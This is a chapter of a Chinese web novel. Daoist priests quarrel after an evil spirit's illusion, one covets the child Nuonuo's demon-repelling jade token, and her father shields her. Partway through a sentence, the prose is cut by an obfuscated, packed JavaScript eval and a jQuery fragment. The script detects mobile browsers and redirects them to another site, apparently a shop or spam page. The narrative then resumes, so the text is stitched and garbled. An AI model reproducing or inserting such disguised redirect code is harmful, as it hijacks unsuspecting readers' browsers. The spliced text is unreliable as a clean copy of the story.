和煦道长他们一过来,惊觉地发现,这里哪里是什么紫竹林?他们此刻站着的地方,分明就是南城老巷尽头的那座荒废小山丘!
刚才所经历的那一切犹如修罗地狱般的场景,全都是那个邪祟搞出来的障眼法。
和煦道长看着被傅凌枭护在怀里的糯糯,面色凝重,“傅爷,小友。这两天我明显感觉到,咱们南城的阴气比以往重了太多,尤其是经过今晚这事……看来最近,咱们南城是不太平了。”
糯糯拧巴着小脸,小手紧紧搂着傅凌枭的脖子,安安静静地趴着没说话。
傅凌枭冷峻的眉眼微沉,问道:“和煦道长可有什么对策?”
和煦道长长叹一声,摇了摇头,“只能广发英雄帖,号召各地的修道之人过来,让他们助力南城一波。就是不知道,这次到底所为何事才导致阴气如此肆虐?若是……若是再有像今晚这般强悍的邪祟,恐怕我等就算拼了老命,也抵抗不了多久。”
这时,一直盯着糯糯小荷包的白虎道长突然开了口。
刚才那玉牌的威力他可是看得真真切切,连那么恐怖的邪灵见了都畏惧得发抖,绝对是件罕见的法宝。
他眼底闪过一丝贪婪,轻咳道:“刚才我见小友手中的玉牌,那邪祟见了都害怕。若是……”
不等他说完,无畏道长面色一沉,立即出声打断,“白虎道长!那是小友的东西!”
白虎道长面色顿时有些不悦,反驳道:“我也没说不是小友的!我只是想说,若是那东西能抵抗得了那些邪祟,请小友拿出来借我们一用,好镇守南城。”
傅凌枭深邃的寒眸倏地半眯起来。他在商界杀伐这么多年,白虎道长那点龌龊心思,他一眼就看穿了。
顿时,周身泛起骇人的冷意,冷声嘲讽道:“我女儿的东西,为何要借你?自己没本事,就厚颜无耻地盯上别人的东西?”
白虎道长被当面戳穿,老脸顿时涨得通红,尴尬之余又有些不服气,“傅爷,令千金既然有这样的宝贝,拿出来借用一下,也没什么吧?再说了,维护南城的安全,又不是只靠我们几个人的责任!”
刚顺过一口气的空慧道长气得胸口起伏,指着他厉声反驳,“白虎,你这话当真是荒谬!我等修道,为的就是斩妖除魔,维护人间正道!小友的东西,那是小友的机缘。再说了,那等**邪灵的神物,就算借给你,你觉得就凭你的修为,你能拿得住吗?怕是当场就要被反噬!”
这话怼得白虎道长脸色骤然变幻,铁青中透着极度的气愤,却又无从反驳。
和煦道长也冷下脸,严肃地警告:“白虎道长,你那些歪心思还是尽早收起来吧!空慧道长说得对,维护人间正道,本就是我等责任,岂有觊觎一个小孩子物件的道理!”
白虎道长这下子气得脸色涨紫,死死攥着拳头不吭声了。
糯糯窝在爸爸怀里,大眼睛眨巴了两下,这下算是听明白了,这个坏爷爷想抢她的宝贝!
她从小荷包里掏出那块玉牌,在白虎道长眼前晃了晃,“你说的借,是这个吗?”
见她拿出来,白虎道长脸色顿时一喜,贪婪之色溢于言表,似乎自己也意识到了,立即收敛了些,“对,就是这个!”
抱着糯糯的傅凌枭,眼底瞬间闪过杀意。任何敢窥视他女儿东西的人,都不是好人,该尽早除掉!
还没等傅凌枭发作,糯糯直接把玉牌往怀里一揣,两只小手捂得严严实实,奶声奶气地说道:“不行!这是我的!而且,你都这么大的人了,胡子都白了,怎么还想要小孩子的东西啊?羞羞脸!”
这话一出,白虎道长的老脸是彻底挂不住了,恨不得找个地缝钻进去。
和煦道长狠狠瞪了白虎道长一眼,转头看向糯糯时,立刻换上了一副温和的语气叮嘱道:“小友,你还是收好这等重宝,切莫再轻易拿出来给人看。毕竟,防人之心不可无啊。”
这话,算是已经说得非常直白了。
糯糯虽然听不懂什么叫防人之心,但听懂了让她收起来。
她乖乖把玉牌放进小荷包里拍了拍,然后凑上前,用小手挡着嘴巴,偷偷摸摸地对和煦道长说:“白胡子爷爷,我偷偷跟你说哦,这玉牌别人拿不走的。阎王爹爹说了,它只听糯糯一个人的话!”
这话让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441974|201057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和煦道长一愣,其他人也是满脸诧异,但自然不会相信,只觉得这是小孩子为了护食在胡言乱语。
说谎也不是这样的?
但和煦道长和空慧道长信。因为他们是亲眼见过黑白无常对这小丫头毕恭毕敬的样子,这小祖宗的本事和背景,大着呢!
就在这个时候,一阵急促的脚步声传来,滕南和程星带着大批保镖终于赶到了。
看到傅凌枭和糯糯安然无恙,两人皆是松了口气,“傅爷!”
傅凌枭点点头,抱着糯糯跟和煦道长简单打了声招呼,便转身大步离开。
刚走出去没几步,趴在爸爸肩膀上的糯糯突然看到,半空中有一团带着微弱绿光的小东西,正忽闪忽闪地,慢慢朝着和煦道长他们几人的背后靠近。
糯糯大眼睛亮了亮,一脸好奇地盯着,觉得那小绿光好好玩呀。
忽然,她一拍小脑门,想起了正事。
小手立刻捏了个诀,把刚才放出去在林子里乱窜的几只鬼全都强行召集了回来,塞进黑瓷瓶里。
可不能留他们在人间瞎逛荡,阎王爹爹说了,会出大乱子的!
一上车,傅凌枭立刻打开车内的灯,急切且仔细地检查糯糯的脖子和身上。
刚才在那边黑灯瞎火的,他不方便看。
直到反复确认女儿白嫩的皮肤上没有一点伤痕,他一直紧绷的神经,这才松懈下来,长长地吐出一口浊气。
他将糯糯紧紧搂在怀里,下巴抵着她的小脑袋,声音沙哑得厉害,“宝贝,对不起……刚才爸爸……”
糯糯立刻伸出软乎乎的小手,捧住傅凌枭的脸,认真地说道:“爸爸,没关系的!那又不是你,那是坏东西弄的!爸爸是最疼糯糯的。”
见女儿如此乖巧懂事,傅凌枭的心像是被狠狠揪住一样,更不是滋味了。
不管怎么解释,刚才自己被控制掐住她脖子的一幕,那是真真切切发生了的。
而此时,另一边。
和煦道长带着一行人也正往老巷子外走去。
刚走出没一段路,夜风一吹,众人突然脚步一顿,后背瞬间窜上一层冷汗,全都感觉到了不对劲……